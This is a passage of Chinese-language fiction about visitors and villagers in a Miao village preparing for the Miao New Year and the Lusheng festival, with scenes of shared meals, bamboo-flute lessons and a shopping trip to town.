梨春梦闻言，眼睛瞬间亮了亮，脸上的笑容愈发真切，大大方方地走上前，对着许祭和绫司司颔首问好，声音清脆悦耳：“许祭哥，绫司司姑娘，你们好呀！欢迎你们来苗寨，还愿意留下来过苗年，我们寨里一定会更热闹的！”她的目光落在许祭手中还没吃完的糯米粑粑上，眼神里带着几分俏皮，笑着打趣道，“看你们吃得这么香，肯定是在尝阿婆做的糯米粑粑吧？我每次来阿婆家，都要蹭上好几个，阿婆做的粑粑，是寨里最好吃的！” 许祭看着眼前这位活泼爽朗的苗家姑娘，心里生出几分好感，笑着点头回应：“春梦姑娘，久仰大名。司南刚跟我们说起苗年的芦笙队，说你们的表演特别精彩，没想到这么快就见到主唱了，真是幸会。”他顿了顿，举起手中的糯米粑粑，笑着补充道，“阿婆的糯米粑粑确实名不虚传，刚出锅的又软又甜，裹上黄豆粉，味道绝了。” 绫司司早就被梨春梦身上的苗装吸引了，此刻更是忍不住凑近了些，眼睛亮晶晶地看着她衣服上的刺绣和银饰，语气里满是赞叹：“春梦姑娘，你的衣服也太好看了吧！这梨花刺绣好精致，银饰也特别亮眼，是阿娘特意给你做的吗？” “是呀！”梨春梦抬手轻轻摸了摸头上的银簪，簪子上也刻着小小的梨花图案，笑容更甜了，“这是去年苗年的时候，阿娘花了半个月时间特意给我做的。我名字里有个‘梨’字，阿娘就给我绣了梨花，说希望我像梨花一样干净漂亮。”她说话时，眼角的梨涡浅浅浮现，透着几分娇憨。 说完，她又转过身，目光重新落在沈司南身上，语气带着几分期待与催促：“司南阿哥，明天的芦笙排练你可一定要来呀！今年苗年有许祭哥和绫司司姑娘这两位客人，我们得好好表现，让他们听听咱们苗寨最地道的芦笙歌，看看咱们苗家儿女的风采。” 沈司南笑着点头应允，语气笃定：“放心吧，我明天一定准时到。对了，”他忽然想起什么，转头看向许祭，眼神里带着几分提议，“许祭也会吹竹笛，技艺不错，到时候让他跟着一起排练，说不定能给芦笙队添个新音色，让表演更丰富些。” “真的吗？”梨春梦眼睛瞬间瞪得圆圆的，满是惊喜地看向许祭，语气里带着难以掩饰的雀跃，“许祭哥，你还会吹竹笛呀？太好了！我们芦笙队以前从来没试过加竹笛伴奏呢，肯定会很特别，很有意思！”她性子爽朗直接，说话时带着满满的热情，“明天排练在晒谷场，一早辰时就开始，你可一定要来呀，我还想早点听听你的笛音，看看和我们的芦笙合不合拍呢。” 许祭没想到沈司南会突然提起这件事，愣了一下，随即笑着应道：“好啊，能和芦笙队一起排练，我也很期待。不过我对苗寨的民谣不算熟悉，到时候还得麻烦春梦姑娘和司南多指教。” “不麻烦不麻烦！”梨春梦连忙摆手，笑容灿烂，“许祭哥太客气了，大家一起切磋嘛。而且你是客人，我们理应多照顾你。明天我把咱们要排练的曲子谱子给你带一份，都是简单好记的旋律，你肯定一学就会。” 绫司司看着三人聊得热络，也忍不住凑过来，眼神里满是期待地说道：“春梦姑娘，明天我能不能也去看你们排练呀？我想拍点视频和照片，记录一下苗年之前的准备过程，以后想起来也是一段珍贵的回忆。” “当然可以呀！”梨春梦一口答应，语气格外爽快，“欢迎你来！到时候我还能给你介绍寨里芦笙队的其他朋友，他们都特别热情。而且排练的时候肯定很热闹，你拍出来的视频和照片也一定会很好看。”她忽然想起什么，从随身挎着的小巧竹篮里拿出一个精致的竹编挂件，递到绫司司面前，“对了，这个送给你，绫司司姑娘。这是我昨天晚上闲着没事编的梨花挂件，用的是后山的浅绿竹丝，还缀了颗小红珠子，希望你喜欢。” 绫司司低头一看，只见那竹编挂件小巧玲珑，梨花的花瓣层层叠叠，编得栩栩如生，红珠子点缀在花蕊处，格外亮眼，透着一股质朴又精巧的美感。她惊喜地接过挂件，指尖触到竹丝的温润触感，心里满是感动：“哇，太漂亮了！春梦姑娘，谢谢你，我特别喜欢！这手艺也太巧了吧，编得这么逼真。” “喜欢就好！”梨春梦笑得更开心了，脸颊的梨涡更深了，“你要是喜欢，等我有空，还能教你编简单的竹编，比如小篮子、小蝴蝶什么的，很容易学的。” 阿婆端着一盘刚蒸好的腊肉从屋里走出来，腊肉色泽金黄，肥瘦相间，散发着浓郁的肉香，看到梨春梦，脸上露出慈祥的笑容：“春梦这孩子，一来就热闹多了。快坐下来吃点东西，刚蒸好的腊肉，还热着呢，尝尝鲜。” “谢谢阿婆！”梨春梦也不客气，大大方方地拉过一张竹凳坐下，拿起一块腊肉放进嘴里，咀嚼了几下，眼睛立刻亮了起来，含糊不清地说道，“阿婆做的腊肉还是这么香！肥而不腻，瘦而不柴，比我阿娘做的还好吃！” 阿婆被她逗得哈哈大笑，眼角的皱纹挤成了一朵花：“你这孩子，就会嘴甜。喜欢就多吃点，盘子里还有很多。” 沈司南看着梨春梦吃得香甜的模样，无奈地摇了摇头，笑着说道：“慢点吃，没人跟你抢。你阿娘做的腊肉也很好吃，就是你嘴挑。” “才不是呢！”梨春梦抬起头，嘴里还塞着腊肉，含糊地反驳道，“阿婆做的就是最好吃的！司南阿哥你就是偏心阿婆。” 院子里的气氛愈发热烈融洽，阳光透过院中的老梨树，洒下斑驳的光影，落在几人的身上，暖融融的。梨春梦叽叽喳喳地说着寨里准备苗年的趣事，从各家各户晒腊肉、做酸汤的盛况，说到姑娘们聚在一起绣苗装、比手艺的场景，还有小伙子们忙着砍柴火、搭戏台的热闹，说得绘声绘色，眉飞色舞。 “你们都不知道，”梨春梦放下手中的腊肉，拿起桌上的粗陶碗喝了一口水，继续说道，“昨天我去寨口的染坊，看到阿珠婶她们正在染布，好多匹靛蓝的布料挂在绳子上，风一吹，像一片蓝色的云，可好看了！还有阿莲她们，已经开始绣苗年要穿的盛装了，银饰都准备好了，就等着苗年那天好好展示一番呢。” 她又说起小伙子们的趣事：“还有阿虎他们，昨天去后山砍柴火，回来的时候还扛了一只山鸡，说是要给芦笙队排练的时候加餐。结果被阿爹骂了一顿，说山鸡是保护动物，不能随便打，最后把山鸡放了，还被罚去给寨里的果树浇水呢。” 许祭和绫司司听得津津有味，时不时被梨春梦生动的描述逗得哈哈大笑。他们从梨春梦的话语里，感受到了苗寨即将到来的苗年的热闹与喜庆，也感受到了苗寨人淳朴乐观的生活态度。 许祭看着眼前这位活泼爽朗、热情好客的苗家姑娘，心里不禁感叹，苗寨的山水不仅养育了沈司南这样沉稳内敛、坚守匠心的匠人，也养育了梨春梦这样灵动活泼、热爱生活的姑娘。正是这些性格各异却同样淳朴善良的人们，让苗寨充满了烟火气与人情味。 沈司南坐在一旁，偶尔补充几句，看着梨春梦和许祭、绫司司聊得投机，脸上也露出了欣慰的笑容。他知道，许祭和绫司司能够认识春梦这样的朋友，在苗寨的日子会更加热闹有趣，也能更好地融入苗寨的生活。 阿婆坐在院子里的竹椅上，一边剥着花生，一边笑眯眯地看着几个年轻人聊天，眼神里满是慈爱。阳光照在她的脸上，让她的笑容显得格外温暖。院子里，糯米的甜香、腊肉的咸香、花生的清香交织在一起，伴着几人的笑声和银饰的叮当声，构成了一幅温馨而鲜活的苗寨生活画卷。 不知不觉间，日头渐渐西斜，阳光的颜色也变得柔和起来，给整个小院镀上了一层暖金色。梨春梦想起阿娘交代的事情，还有芦笙队要准备的排练道具，便起身说道：“司南阿哥，许祭哥，绫司司姑娘，阿婆，我得先回去了。阿娘还等着我回去帮忙呢，明天一早我在晒谷场等你们，可别迟到呀！” “放心吧，我们一定准时到。”沈司南、许祭和绫司司齐声应道。 阿婆也笑着说道：“路上慢点走，注意安全。有空常来阿婆家玩。” “知道啦，谢谢阿婆！”梨春梦挥了挥手，提着自己的小竹篮，脚步轻快地走出了院子，银饰的叮当声渐渐远去，消失在巷口的方向。 看着梨春梦的背影消失，绫司司忍不住说道：“春梦姑娘真可爱，性格也太好了吧！活泼又热情，还这么心灵手巧，我真喜欢她。” 沈司南笑着点头：“春梦从小就很活泼，是寨里的开心果，大家都很喜欢她。她的竹编手艺确实好，是跟着她阿娘学的，学了好几年，现在已经能编很多复杂的花样了。” 阿婆也补充道：“春梦这孩子，不仅手巧，心地也善良。寨里的小朋友都喜欢围着她转，她经常给孩子们编小玩具，还教她们唱苗歌。” 许祭看着手中的竹笛，想起明天的芦笙排练，心里满是期待：“明天能和芦笙队一起排练，还有春梦姑娘这样的主唱，一定会很有意思。我得好好准备一下，争取不拖大家的后腿。” “不用太紧张，”沈司南拍了拍他的肩膀，“咱们苗寨的民谣都很淳朴，旋律也简单，主要是图个热闹开心。到时候我带你一起练，很快就能上手。” 夕阳渐渐落下，余晖将苗寨的吊脚楼、青石板路和竹编篱笆都染成了暖红色。小院里的香气依旧浓郁，几人的心情也像这夕阳一样温暖而明媚。许祭和绫司司看着眼前的一切，心里愈发庆幸当初决定留下来过苗年的决定。他们知道，这段在苗寨的时光，因为有了沈司南、阿婆和梨春梦这样热情淳朴的朋友，一定会变得格外难忘，而这个即将到来的苗年，也一定会充满欢乐、温暖与感动，成为他们生命中最珍贵的回忆之一。 3. 竹笛 蝉鸣聒噪的盛夏，把苗寨的午后泡得发懒。阳光透过吊脚楼的木格窗，筛成细碎的金斑，落在青石板铺就的地面上，连空气里都飘着竹楼竹叶与糯米香混合的清甜气息。沈司南坐在廊檐下的竹椅上，手里摩挲着一支竹笛，笛身是通透的竹青色，尾端刻着一枚小小的“祭”字，是他昨夜借着煤油灯的光，用刻刀一点点凿出来的。 廊下的风带着山野的凉意，吹得他额前的碎发微微晃动。他抬眼望了望院门口，没过多久，就看见一个少年拎着竹编小筐跑进来，筐里装着刚摘的野枇杷，颗颗饱满金黄。许祭跑得急，额角渗着薄汗，短衫的衣角沾了点草屑，看见沈司南手里的竹笛，眼睛瞬间亮了起来，连呼吸都放轻了些：“哥，你这是……” 沈司南站起身，把竹笛递到他面前，嘴角噙着一抹浅淡的笑意：“给你做的。试试？” 许祭的眼睛更亮了，小心翼翼地接过竹笛，指尖触到微凉的笛身，心里像是揣了只扑腾的小雀。他早就羡慕沈司南吹笛子了。每当暮色四合，沈司南坐在廊下吹笛，笛声清越悠扬，能飘过山腰的梯田，引得寨子里的鸟儿都跟着应和。那时候许祭就坐在一旁，托着腮帮子听，心里盼着自己也能吹出那样好听的声音。 只是他性子急，做什么都毛毛躁躁的，之前缠着沈司南要学，没吹两下就把笛子扔到一边，嫌那声音刺耳难听。沈司南也不恼，只是把笛子捡回来收好，等他哪天心血来潮了，再拿出来。 “这笛身是后山的湘妃竹，晾了整整三年，音色最稳。”沈司南看着他爱不释手的模样，轻声解释道，“我特意选了最细的那节，适合你握。” 许祭低头看着笛尾的字，指尖轻轻摩挲着那道浅浅的刻痕，心里暖烘烘的。他知道沈司南手巧，寨子里的竹筐竹椅，大半都是他编的，却没想到他会特意为自己做一支笛子，还刻上了自己的名字。 “哥，你真好。”许祭抬头看他，眼里满是欢喜。 沈司南揉了揉他的头发，指尖触到他柔软的发顶，笑意更深了些：“喜欢就好。今天教你吹，这次可不许半途而废了。” 许祭立刻挺直脊背，用力点头，把竹笛横在唇边，迫不及待地就要吹。沈司南伸手按住他的手腕，无奈地笑：“急什么？先拿对姿势。” 他握着许祭的手腕，调整竹笛的角度，让笛身与地面保持平行，又掰开他紧绷的手指，将他的指肚一一按在笛孔上：“指肚贴紧，别留缝隙，但也不用死按，不然一会儿手指就酸了。” 许祭乖乖听着，跟着他的动作调整，指尖按在冰凉的笛孔上，有点痒，忍不住动了动。沈司南拍了拍他的手背：“稳住。吹笛子讲究的是稳，气息稳，手指稳，声音才能好听。” “知道了哥。”许祭抿抿唇，努力让自己的手指安分下来。 沈司南站在他身侧，微微俯身，声音放得很低，带着耐心：“下唇盖住吹孔的四分之一，风门要呈椭圆，别鼓腮帮子，那样不好看，气息也散。” 他怕许祭听不懂，干脆自己拿过笛子示范，唇瓣轻贴吹孔，缓缓吐气。清越的中音5便淌了出来，像山涧的清泉，叮咚作响，漫过廊檐下的光影，漫过院角的芭蕉叶。 许祭听得入了迷，等沈司南停下，才回过神来，跃跃欲试：“哥，我来试试！” 沈司南把笛子还给他，站在一旁看着。许祭学着他的样子，下唇贴住吹孔，猛地一吹。 “吱——” 一声刺耳的嘶鸣划破了午后的宁静，连院外的蝉鸣都顿了顿。 许祭的脸“唰”地一下红透了，手里的笛子差点没拿稳，窘迫地低下头：“怎、怎么会这样……” 沈司南没笑他，只是蹲下身，捡起掉在地上的一片枇杷叶，递给他：“别急，先练气息。把这片叶子放在唇边，吹的时候让它保持四十五度飘动，气息就差不多稳了。” 许祭接过枇杷叶，放在唇边试了试，要么吹得太猛，叶子直接飞了出去，要么气息太弱，叶子纹丝不动。他试了好几次，都没成功，额角的汗更多了，鼻尖也红红的，有点泄气。 沈司南看着他蔫蔫的样子，走到他身后，虚虚地环住他的腰，手掌轻轻贴在他的小腹上：“吸气的时候，肚子鼓起来，像吹气球一样。呼气的时候慢慢送，感受这里的支撑力，不是用嗓子挤气。” 他的掌心带着温热的温度，透过薄薄的短衫传过来。许祭的心跳漏了一拍，耳根也跟着红了，却还是乖乖照做，吸气，收腹，缓缓吐气。 一片枇杷叶在唇边轻轻晃动，弧度刚好是四十五度。 “对，就是这样。”沈司南的声音就在耳边，带着笑意，“稳住，多练几次。” 许祭练了好一会儿，终于能让枇杷叶稳稳地飘着了。沈司南这才让他拿起笛子，重新尝试。 这次，许祭没有急着吹气，而是先调整好姿势，下唇轻轻贴住吹孔，回忆着沈司南教的要领，缓缓吐出一口气。 一个滞涩却完整的音，从笛管里飘了出来。 虽然不算好听，却再也不是刚才那种刺耳的嘶鸣了。 许祭的眼睛瞬间亮了，惊喜地看向沈司南：“哥！我吹出来了！” “嗯，很棒。”沈司南眼底漾开温柔的笑意，伸手点了点笛身上的孔，“现在我们练音阶，从低音5开始。记住，音越高，风门越要收小，气息也要更细。” 他挨着许祭坐在竹椅上，一支笛，两个人，手把手地教。阳光渐渐西斜，把两人的影子拉得很长很长，叠在一起，落在青石板上。 许祭学得很认真，手指按孔按得发酸，也不肯歇。偶尔吹错了音，沈司南就耐心地纠正他，一遍又一遍，从不嫌烦。 笛声时断时续，夹杂着沈司南温和的叮嘱，和许祭偶尔的低呼。风从山谷里吹过来，带着晚稻的清香，拂过廊檐下的风铃，叮当作响。 不知过了多久，许祭终于能断断续续地吹出一首简单的童谣了。那是沈司南小时候教他唱的，调子简单，却带着暖暖的回忆。 笛声不算流畅，甚至有些磕磕绊绊，却在暮色渐浓的苗寨里，显得格外温柔。 沈司南靠在竹椅上，听着他吹完最后一个音，嘴角的笑意一直没散。 许祭放下笛子，转头看他，眼里满是得意：“哥，你听！我会吹了！” “听得见。”沈司南揉了揉他的头发，指尖划过他泛红的耳廓，“我们家小祭真厉害。” 许祭被夸得有点不好意思，低下头，看见竹筐里的野枇杷，连忙拿起一颗，剥了皮递到沈司南嘴边：“哥，吃枇杷，甜的。” 沈司南张口含住，枇杷的清甜在舌尖化开，像此刻的时光，温柔又绵长。 暮色四合，远山被染成了黛青色，寨子里升起了袅袅炊烟。许祭还在兴致勃勃地练着笛子，断断续续的笛声，混着蝉鸣与晚风，飘向了远山深处。 沈司南坐在一旁，看着他认真的侧脸，眼底盛满了笑意。他想，这样的时光，要是能一直停留在这一刻，就好了。 竹笛尾端的“祭”字，在暮色里，泛着淡淡的光。 吊脚楼的廊檐下摆着两张竹凳，绫司司手里捻着片染了茜草色的苗绣布片，指尖绕着丝线打了个小巧的结。梨春梦端着两碗冰镇的木薯羹过来，青瓷碗沿凝着细密的水珠，她把碗往司司面前推了推，眉眼弯成月牙：“尝尝，阿婆刚做的，加了蜂蜜，甜而不腻。听说那两位客人还在院里练笛呢，等会儿也给他们端两碗去。” 绫司司放下绣片，拿起银勺舀了一口，冰凉的甜意漫过舌尖，她眯起眼笑：“还是阿婆的手艺好，比我上次去镇上赶圩买的好吃多了。那两位客人倒也有趣，来寨子里做客没几天，倒把廊下当成练笛场了。” 梨春梦挨着她坐下，手肘撑在膝盖上，目光越过院坝的竹篱笆，落在不远处的青石板院里——沈司南正站在梧桐树下教许祭吹竹笛，少年许祭的脸涨得通红，握着竹笛的手指有些发僵，笛声时而滞涩时而走调，惹得沈司南无奈地摇头，伸手替他调整按孔的位置。梨春梦看得发笑，用胳膊肘碰了碰司司：“你瞧他们俩，外来的客人倒比我们寨里的后生还沉得住气。沈先生永远慢条斯理的，那个小许祭却毛毛躁躁，吹错了音就急得跺脚。” 绫司司顺着她的目光看去，眼底漾起温柔的笑意。风掠过院角的芭蕉叶，沙沙作响，混着时断时续的笛声，像一首不成调的乡野小曲。“许祭年纪小，心性跳脱些也正常，”她轻声道，“沈先生倒是有耐心，换作我们寨里的哪个阿哥，怕是早被磨得没脾气了。他们从山外来，倒不嫌我们这小寨子偏僻，日日守着这院坝练笛。” “那是他们喜欢我们寨子的清静呗，”梨春梦舀了勺木薯羹，忽然想起什么似的，转头看向司司，“对了，过几日寨子里要办芦笙节，到时候要摆百家宴，你说要不要请这两位客人一起？阿婆说他们是远道而来的贵客，该让他们尝尝我们苗家的酸汤鱼和糯米粑。” 绫司司的脸颊微微发烫，伸手捋了捋鬓边别着的银饰，那银饰晃出细碎的光：“自然是要请的。我瞧着沈先生斯斯文文的，许祭又嘴甜，上次还帮阿婆挑了水。到时候芦笙节办踩堂舞，说不定还能请沈先生吹笛伴奏呢。” “哎呀，这主意好！”梨春梦眼睛一亮，拍了下手，“我听说沈先生的笛子吹得极好，前些日子傍晚，我还听见他在河边吹过，笛声飘得老远，连河对岸的水鸟都没敢叫。” 绫司司被她逗得笑出声，伸手轻轻拍了她一下：“就你耳朵尖。” 梨春梦仰头大笑，笑声清脆，惊飞了廊下的几只麻雀。阳光透过竹叶的缝隙漏下来，落在两人交叠的手背上，暖融融的。不远处的笛声忽然流畅起来，许祭兴奋地跳起来，冲着沈司南大喊：“哥！你听！我吹会了！这下总算能在芦笙节上露一手了！” 沈司南的脸上露出欣慰的笑容，抬手揉了揉他的头发。绫司司看着这一幕，轻声道：“真好啊，外来的客人也能融进我们寨子里的日子。” 梨春梦点点头，舀起一勺木薯羹，含在嘴里，甜意从舌尖漫到心底。“是啊，真好。”她轻声附和，“等会儿我就去跟阿婆说，多做些糯米粑，给这两位客人尝尝鲜。” 风轻轻吹过，带着山野间草木的清香，吊脚楼的铜铃叮当作响，和着笛声、笑声，织成了苗寨午后最温柔的光景。 日头爬到吊脚楼的瓦檐上，把竹篱笆的影子晒得又细又长。绫司司正帮着梨春梦理捡回来的菌子，青头菌、牛肝菌分门别类码在竹筛里，带着雨后山野的湿润泥土气。梨春梦蹲在地上，指尖沾了点泥，正对着一朵胖乎乎的鸡油菌傻笑，忽然听见院门外传来清亮的喊声：“春梦！春梦在家吗？” 梨春梦手一抖，差点把鸡油菌碰掉，抬头朝门口望过去，笑着扬声应：“姐！你怎么来了？” 话音未落，一个穿月白短衫、青布长裙的女子已经掀了竹帘走进来。她比梨春梦高出小半个头，发髻梳得一丝不苟，鬓边簪着一朵银质的小兰花，眉眼间带着点利落的英气，正是梨春梦的姐姐梨霄宫。梨霄宫的目光扫过院里，落在竹筛里的菌子上，无奈地摇摇头：“又去后山捡菌子？阿娘昨儿还念叨，说你总往林子里钻，也不怕遇上蛇。” 梨春梦吐了吐舌头，站起身拍了拍裙摆上的泥：“哪有那么多蛇，我跟着阿公去的，他认得路。”说着，她拉过绫司司的手，笑着给梨霄宫介绍，“姐，这是绫司司，也是寨子里的，手艺可好，绣的蝴蝶跟活的似的。” 绫司司连忙放下手里的菌子，微微颔首：“霄宫姐好。” 梨霄宫打量了绫司司两眼，见她眉眼温婉，手里还捏着一枚没绣完的苗绣针，眼底漾起笑意：“早听过你的名字，春梦总在我跟前念叨，说寨子里来了个手巧的姑娘。”她顿了顿，才想起正事，转头看向梨春梦，语气带着点不容置疑的笃定，“过几日就是芦笙节了，你那几件旧衣裳都穿了两年，颜色都褪了，今天跟我去镇上买新的。” 梨春梦一听，眼睛亮了亮，随即又垮下来，指了指竹筛里的菌子：“可是这些菌子还没晒好呢，阿婆说要晒成干货留着冬天吃。” “晒菌子什么时候不能晒？”梨霄宫伸手敲了敲她的额头，“芦笙节一年就一次，你想穿着旧衣裳去跳踩堂舞？到时候邻寨的后生看了，都要笑我们梨家姑娘寒酸。” 梨春梦被说得脸红，偷偷瞥了眼绫司司，见她正抿着嘴笑，便跺了跺脚：“姐你就会取笑我。” 绫司司看着姐妹俩拌嘴的模样，眼底满是笑意。她知道梨霄宫在镇上的布庄帮工，眼光极好，寨子里不少姑娘的新衣裳都是找她帮忙挑的。 梨霄宫似是想起什么，转头看向绫司司，语气诚恳：“司司姑娘，你也一起去吧？镇上的布庄进了新的苗锦，颜色鲜亮，料子又软，正好适合做芦笙节的衣裳。你要是有空，陪我们姐妹俩一起去，也好帮我们拿拿主意。” 绫司司愣了愣，有些犹豫。她来苗寨的时日不算久，平日里大多待在吊脚楼里绣活儿，甚少去镇上。梨春梦见她犹豫，连忙拽着她的胳膊晃了晃：“司司，一起去嘛，镇上可热闹了，还有卖糖画的，我请你吃。” 看着梨春梦期盼的眼神，绫司司心里的那点犹豫瞬间烟消云散，她点了点头：“好啊，那我陪你们一起去。” “太好了！”梨春梦欢呼一声，转身就往屋里跑，“我去换件干净衣裳，再拿上我的小竹篮！” 梨霄宫无奈地看着她的背影，对绫司司笑道：“你别见怪，她就是这个性子，跟个没长大的孩子似的。” 绫司司摇摇头，轻声道：“春梦很可爱，跟她在一起，总觉得日子都变得轻快了。” 说话间，梨春梦已经换了件水绿色的短衫跑出来，头发也梳得整整齐齐，手里还拎着个绣着小雏菊的竹篮。“姐，司司，我们走吧！”她兴冲冲地走在前面，像只雀跃的小麻雀。 三人沿着青石板路往寨口走，路上遇见不少寨子里的熟人，都笑着跟梨霄宫打招呼，问她们是不是去镇上。梨霄宫一一应了，梨春梦则凑在绫司司耳边，叽叽喳喳地说着镇上的趣事：“镇上的糖画师傅手可巧了，能画龙画凤，还能画我们苗寨的蝴蝶呢。还有布庄旁边的那家米糕铺，他家的桂花米糕，甜丝丝的，可好吃了……” 绫司司听得认真，时不时点头应和两句，嘴角的笑意就没停过。梨霄宫走在后面，看着两个姑娘并肩走在一起的模样，一个活泼灵动，一个温婉恬静，像一幅极美的苗乡画卷，眼底也忍不住染上笑意。 走到寨口，正好有一辆往镇上赶的牛车，赶车的是寨子里的王叔，见她们三个姑娘要去镇上，便笑着招呼：“霄宫、春梦，还有司司姑娘，快上车，正好顺路。” 三人谢过王叔，爬上了牛车。牛车慢悠悠地晃着，车轱辘碾过青石板路，发出“嘎吱嘎吱”的声响。路边的稻田里，稻穗已经泛黄，风一吹，掀起层层金浪，带着稻谷的清香。梨春梦趴在车沿上，伸手去够路边的狗尾巴草，嘴里哼着苗寨的小调，声音清脆婉转。 绫司司靠在车板上，看着远处连绵的青山，听着耳边的风声和梨春梦的歌声，只觉得心里一片安宁。她来苗寨的初衷，本是为了躲避城里的喧嚣，却没想到，会在这里遇见这么多温暖的人。 约莫半个时辰后，牛车停在了镇口。三人谢过王叔，便朝着镇上最热闹的那条街走去。刚走到街口，就听见此起彼伏的叫卖声，热闹非凡。卖糖葫芦的小贩举着插满红果的草靶子，大声吆喝着；布庄的伙计站在门口，手里拿着一匹新到的苗锦，招揽着过往的客人；还有卖首饰的小摊，摆着各式各样的银簪银镯，在阳光下闪着细碎的光。 梨春梦眼睛都看直了，拽着绫司司的胳膊，兴奋地指东指西：“司司你看，那家就是卖糖画的！还有那边，是我跟你说的米糕铺！” 梨霄宫无奈地拉了拉她：“先去买衣裳，买完衣裳再带你吃好吃的。” 梨春梦吐了吐舌头，乖乖地跟着梨霄宫往布庄走。布庄的掌柜见梨霄宫来了，连忙笑着迎上来：“霄宫来了？快进来看看，新到的苗锦，花色可好看了，好多姑娘都抢着要呢。” 梨霄宫点点头，带着两人走进布庄。布庄里挂满了各式各样的布料，五颜六色的苗锦看得人眼花缭乱。有绣着蝴蝶牡丹的，有织着山水鸟兽的，还有带着细碎银线的，在阳光下熠熠生辉。 梨春梦一眼就看中了一匹水红色的苗锦，上面绣着密密麻麻的小桃花，颜色鲜亮，衬得人肤色雪白。她伸手摸了摸，布料柔软顺滑，忍不住惊叹：“姐，这块布好好看啊。” 梨霄宫走过去，拿起那块布打量了两眼，点点头：“眼光不错，这布的料子是上等的，绣工也好，做出来的衣裳肯定好看。”她转头看向掌柜，“掌柜的，这块布给我们剪三尺。” 掌柜的应了一声，麻利地拿起剪刀剪布。梨霄宫又转头看向绫司司，笑着问：“司司，你喜欢什么样的花色？我帮你挑挑，保准挑到你喜欢的。” 绫司司的目光落在角落里的一匹浅青色苗锦上，那布上绣着淡淡的竹叶纹，纹路清雅，带着点江南水乡的温婉，正是她喜欢的风格。她指了指那块布：“霄宫姐，我喜欢那块。” 梨霄宫顺着她指的方向看去，眼睛一亮：“这块布好，素雅又不失精致，最衬你的气质。”她喊来掌柜，“掌柜的，这块浅青色的也剪三尺。” 掌柜的很快就把两块布剪好包好，递给她们。梨春梦捧着水红色的布，笑得合不拢嘴，仿佛已经看到自己穿着新衣裳跳踩堂舞的模样了。 买完布，梨霄宫果然兑现承诺，带着两人去吃好吃的。梨春梦先拉着绫司司去了糖画铺，让师傅画了两只蝴蝶糖画，递了一只给绫司司。糖画甜丝丝的，咬一口，满嘴都是麦芽糖的香气。 接着，她们又去了米糕铺，买了两块桂花米糕。米糕软糯香甜，带着桂花的清香，绫司司吃得眉眼弯弯。梨春梦还拉着她们去首饰摊，挑了两支银簪，一支簪着小兰花，一支簪着小蝴蝶，她自己选了蝴蝶簪，把兰花簪递给了绫司司：“司司，这支簪子很配你，送你啦。” 绫司司连忙摆手：“这怎么好意思，我不能要……” “拿着吧。”梨霄宫也在一旁帮腔，“春梦的心意，你就收下吧。过几日芦笙节，正好可以簪在头上。” 绫司司看着姐妹俩真诚的眼神，心里暖暖的，便接过了银簪：“那谢谢你们了。” 三人在镇上逛了大半天，买了不少东西，竹篮里装满了糖画、米糕，还有新剪的布料和银簪。日头渐渐西斜，天边染成了一片暖橙色，三人这才意犹未尽地往寨口走，正好又遇上了王叔的牛车。 坐在牛车上，梨春梦靠在绫司司的肩膀上，嘴里还嚼着最后一块米糕，含糊不清地说：“司司，今天真开心，下次我们还要一起出来玩。” 绫司司笑着点头：“好啊。” 梨霄宫看着夕阳下两个姑娘的笑脸，嘴角也扬起温柔的弧度。风吹过，带着稻田的清香，牛车慢悠悠地晃着，朝着苗寨的方向驶去。远处的青山渐渐被暮色笼罩，吊脚楼的炊烟袅袅升起，与天边的晚霞融为一体，温柔得像一场不愿醒来的梦。 回到寨子里时，暮色已经四合。梨春梦拉着绫司司的手，邀她去家里吃晚饭，绫司司没有推辞。梨家阿婆见她们买了新布回来，笑得合不拢嘴，连忙去厨房忙活，不一会儿就端出了酸汤鱼、糯米粑，还有炒菌子，满满一桌子菜。 饭桌上，梨春梦还在叽叽喳喳地说着镇上的趣事，梨霄宫时不时插嘴纠正她的错处，阿婆则一个劲地给绫司司夹菜，让她多吃点。暖黄的油灯照着满桌的饭菜，也照着三人的笑脸，温馨又热闹。 饭后，绫司司抱着新布和银簪，跟梨家姐妹告了别，慢慢走回自己的吊脚楼。她站在廊檐下，看着远处苗寨的点点灯火，手里握着那支兰花银簪，心里满是暖意。她想，芦笙节那天，穿着新做的浅青色苗服，簪着这支银簪，和梨家姐妹一起跳踩堂舞，一定会是一段极美的回忆。 晚风轻轻吹过，带着草木的清香，吊脚楼的风铃叮当作响，像是在为即将到来的芦笙节，奏响一曲温柔的序曲。 晨雾还没散尽，像一匹轻薄的青纱，笼着苗寨错落的吊脚楼，笼着山腰上层层叠叠的梯田，连空气里都浸着湿漉漉的草木香。芦笙场早早就醒了，青石板铺就的场子被打扫得干干净净，石缝里的青苔透着深绿的润意，中央立着的那根老杉木高杆，被缠上了一圈圈艳红的绸带，风一吹，绸带便猎猎地舞，红得晃眼，像是把整个寨子的喜气都系在了上面。 寨子里的炊烟比往日升得更早，袅袅地飘在瓦檐上空，混着蒸笼里飘出的糯米香、酸汤鱼的酸辣香，还有姑娘们身上的香粉气，织成了一股热热闹闹的气息。男女老少都在忙着打扮，木格窗里传来银饰碰撞的叮当声，像是谁在低声敲着一串细碎的铃铛。 梨春梦天不亮就爬起来了，蹲在铜镜前，对着自己的辫子琢磨了半宿。她那头乌黑的长发被梳成了两条粗辫子，辫梢系着水红色的绒线，额前留着细碎的刘海，衬得一双眼睛亮得像山涧的泉水。她换上了昨天在镇上买的新苗服，水红色的短衫绣着密密麻麻的桃花，领口和袖口滚着青绿色的花边，下身是同色系的百褶裙，裙摆上绣着蝴蝶纹，走动起来，裙摆翻飞，蝴蝶像是要从裙上飞出来。她又从梳妆匣里翻出那支蝴蝶银簪，小心翼翼地簪在辫根处，簪头的蝴蝶翅膀上嵌着细碎的银珠，一晃就闪着光。 “春梦，磨蹭什么呢？再晚就赶不上开场了！”梨霄宫的声音从门外传来，她已经收拾妥当了，月白色的苗服衬得她身姿挺拔，鬓边簪着一朵银兰花，眉眼间带着利落的英气。她手里拎着一个竹篮，里面装着阿婆刚蒸好的糯米粑，还冒着热气。 梨春梦连忙应了一声，对着镜子最后理了理裙摆，转身跑出门，差点撞进梨霄宫怀里。“姐，我好紧张啊！”她拽着梨霄宫的袖子，声音里带着雀跃的颤音，“你说今天的踩堂舞，会不会有邻寨的后生跟我搭话？” 梨霄宫无奈地敲了敲她的额头，指尖触到她发烫的脸颊：“瞧你这点出息。”话虽这么说，眼底却漾着笑意，“走吧，司司还在等我们呢。” 